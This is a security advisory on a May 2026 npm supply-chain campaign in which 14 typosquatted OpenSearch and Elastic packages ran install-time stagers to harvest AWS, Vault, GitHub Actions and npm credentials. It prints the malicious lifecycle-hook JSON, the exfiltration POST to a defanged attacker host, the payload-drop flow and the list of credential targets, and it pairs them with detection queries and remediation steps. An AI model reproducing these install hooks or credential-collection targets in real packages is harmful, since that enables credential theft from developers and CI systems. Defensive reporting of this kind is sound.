critical

CVE

Not assigned

CWE

CWE-506, CWE-829, CWE-200

Affected Surface

@vpmdhaj/elastic-helper 1.0.7269, @vpmdhaj/devops-tools 1.0.7267, @vpmdhaj/opensearch-setup 1.0.7267, @vpmdhaj/search-setup 1.0.7268, opensearch-security-scanner 1.0.10, opensearch-setup 1.0.9103, opensearch-setup-tool 1.0.9108, opensearch-config-utility 1.0.9106, search-engine-setup 1.0.9108, search-cluster-setup 1.0.9104, elastic-opensearch-helper 1.0.9108, vpmdhaj-opensearch-setup 1.0.9102, env-config-manager 2.1.9201, app-config-utility 1.0.9300, npm developer workstations and CI/CD runners that installed these packages on or after 2026-05-28

Microsoft reported a May 28 npm supply-chain campaign in which a newly created maintainer account, vpmdhaj, published 14 malicious packages within roughly four hours. The packages impersonated OpenSearch, ElasticSearch, DevOps, and configuration tooling, then executed automatically during package installation.

The important application-security impact is not the typosquat itself. It is the second-stage target set. The payload was built to harvest credentials from AWS, HashiCorp Vault, GitHub Actions, and npm publishing workflows. A successful install on a developer laptop or CI runner could expose cloud sessions and npm publish tokens, which can then be used for lateral movement or another package compromise.

Affected npm packages

All 14 packages were published by the vpmdhaj npm account on 2026-05-28 and have been reported as removed. Treat any install, build, cache restore, or artifact creation involving these names on or after 2026-05-28 as an exposure event.

PackageMalicious versionLure
@vpmdhaj/elastic-helper1.0.7269ElasticSearch/OpenSearch helper
@vpmdhaj/devops-tools1.0.7267DevOps and OpenSearch setup
@vpmdhaj/opensearch-setup1.0.7267OpenSearch setup utility
@vpmdhaj/search-setup1.0.7268Search engine setup
opensearch-security-scanner1.0.10OpenSearch security scanner
opensearch-setup1.0.9103OpenSearch setup lookalike
opensearch-setup-tool1.0.9108OpenSearch setup lookalike
opensearch-config-utility1.0.9106OpenSearch config lookalike
search-engine-setup1.0.9108Search cluster setup
search-cluster-setup1.0.9104Search cluster setup
elastic-opensearch-helper1.0.9108Elastic/OpenSearch bridge helper
vpmdhaj-opensearch-setup1.0.9102Author-named OpenSearch setup
env-config-manager2.1.9201Dotenv-style config manager
app-config-utility1.0.9300Generic application config utility

The unscoped packages also spoofed package.json metadata back to the legitimate OpenSearch JavaScript client repository. That is a trust-transfer tactic: code reviewers and developers see a familiar repository URL even though npm is installing an attacker-published tarball.

Install-time execution

The campaign did not wait for application code to import the package. The malicious path started at npm lifecycle execution. The practical execution boundary is:

npm install
  -> package.json lifecycle hook
  -> node preinstall.js or node setup.mjs
  -> credential harvester runs before application tests start

Microsoft described two generations of stagers.

The earlier generation used multiple lifecycle hooks pointing at the same local JavaScript stager:

{
  "scripts": {
    "install": "node preinstall.js",
    "preinstall": "node preinstall.js",
    "postinstall": "node preinstall.js"
  }
}

That stager collected host context, encoded it, and sent it to the actor-controlled endpoint with a campaign marker:

POST /x.php HTTP/1.1
Host: aab.sportsontheweb.net
X-Supply: 1
Content-Type: application/json

The response path dropped a second stage as payload.bin, marked it executable, and launched it detached from npm:

preinstall.js
  -> collect hostname/platform/arch/Node version/user/cwd/INIT_CWD/package name
  -> POST host profile to aab.sportsontheweb[.]net/x.php
  -> receive compressed payload
  -> write node_modules/<package>/payload.bin
  -> chmod 0755
  -> spawn detached with __DAEMONIZED=1

The later generation removed the install-time C2 fetch and used the legitimate Bun runtime as a loader. That path is more difficult to catch with simple “npm install made a suspicious HTTP request” detections because the stager can fetch a legitimate GitHub Release for Bun and execute a payload already present in the tarball.

setup.mjs
  -> check whether bun is already installed
  -> download Bun v1.3.13 from github.com/oven-sh/bun/releases if missing
  -> extract using unzip, PowerShell Expand-Archive, or a JS ZIP parser
  -> run opensearch_init.js or ai_init.js with Bun

What the payload targeted

The second stage was reported as an approximately 195 KB Bun-compiled JavaScript credential harvester. Its target list maps directly to common cloud-connected developer and CI environments.

AWS collection included:

169.254.169[.]254     # EC2 Instance Metadata Service
169.254.170[.]2       # ECS task metadata endpoint
AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY
AWS_SESSION_TOKEN
sts:GetCallerIdentity
sts:AssumeRole
secretsmanager:ListSecrets
secretsmanager:GetSecretValue

Vault collection included:

VAULT_TOKEN
VAULT_AUTH_TOKEN

npm and GitHub Actions collection included:

/-/whoami
/-/npm/v1/tokens
GITHUB_REPOSITORY
RUNNER_OS

The npm token behavior is especially important. If a developer or CI runner held publish rights, the attacker could move from this 14-package typosquat set into a second-stage supply-chain compromise of legitimate packages. That is the same escalation shape seen in the Mini Shai-Hulud npm waves: steal developer or CI secrets first, then use trusted automation to publish malware under real package identities.

Why OpenSearch and Elastic lures matter

The package names were selected for developers likely to touch search clusters, observability pipelines, and cloud-hosted infrastructure. That audience is more likely to have:

  • AWS developer credentials or role-assumption permissions
  • access to Elastic/OpenSearch deployment secrets
  • Vault tokens in shell profiles, .env files, or CI variables
  • GitHub Actions context on build runners
  • npm publish tokens cached for release automation

This is a credential-access campaign masquerading as package ecosystem noise. The package names were the delivery channel; the intended blast radius was cloud control planes and publishing pipelines.

Detection ideas

Start with lockfiles and package caches:

rg "@vpmdhaj|opensearch-setup|opensearch-config-utility|elastic-opensearch-helper|env-config-manager|app-config-utility" package-lock.json yarn.lock pnpm-lock.yaml

Look for lifecycle execution around the affected names:

DeviceProcessEvents
| where FileName in~ ("node.exe", "node", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
| where ProcessCommandLine has_any ("preinstall", "postinstall", "install", "setup.mjs", "preinstall.js")
| where ProcessCommandLine has_any ("@vpmdhaj", "opensearch-setup", "opensearch-config-utility", "elastic-opensearch-helper", "env-config-manager", "app-config-utility")

Hunt for the Gen-1 C2 and campaign header:

aab.sportsontheweb[.]net
hxxp://aab.sportsontheweb[.]net/x.php
X-Supply: 1
payload.bin
__DAEMONIZED=1

Hunt for the Gen-2 Bun loader:

DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node.exe", "node")
| where RemoteUrl has "github.com/oven-sh/bun/releases/download"

Cloud teams should correlate local install evidence with AWS and Vault activity. The suspicious sequence is a Node or Bun process touching metadata services, followed by rapid cloud identity and secrets enumeration:

node or bun -> 169.254.169[.]254
node or bun -> 169.254.170[.]2
sts:GetCallerIdentity
sts:AssumeRole
secretsmanager:ListSecrets across multiple regions
secretsmanager:GetSecretValue

Remediation

For any workstation or runner that installed one of the affected packages:

  • remove the package and rebuild the environment from a trusted base image
  • rotate AWS IAM keys, STS sessions, Vault tokens, GitHub Actions secrets, and npm publish tokens exposed to that environment
  • review npm token audit logs and package publication history for unexpected publishes
  • block aab.sportsontheweb[.]net at DNS, proxy, and firewall layers
  • set ignore-scripts=true by default for dependency installation paths that do not explicitly require lifecycle hooks
  • require npm ci or equivalent lockfile-enforced installs in CI
  • pin package provenance for tooling that runs on release builders

The defensive lesson is narrower than “avoid typosquats.” These packages ran before application code. Controls that only scan imported modules, application routes, or production bundles will miss the point where secrets are exposed: the dependency installation step.

References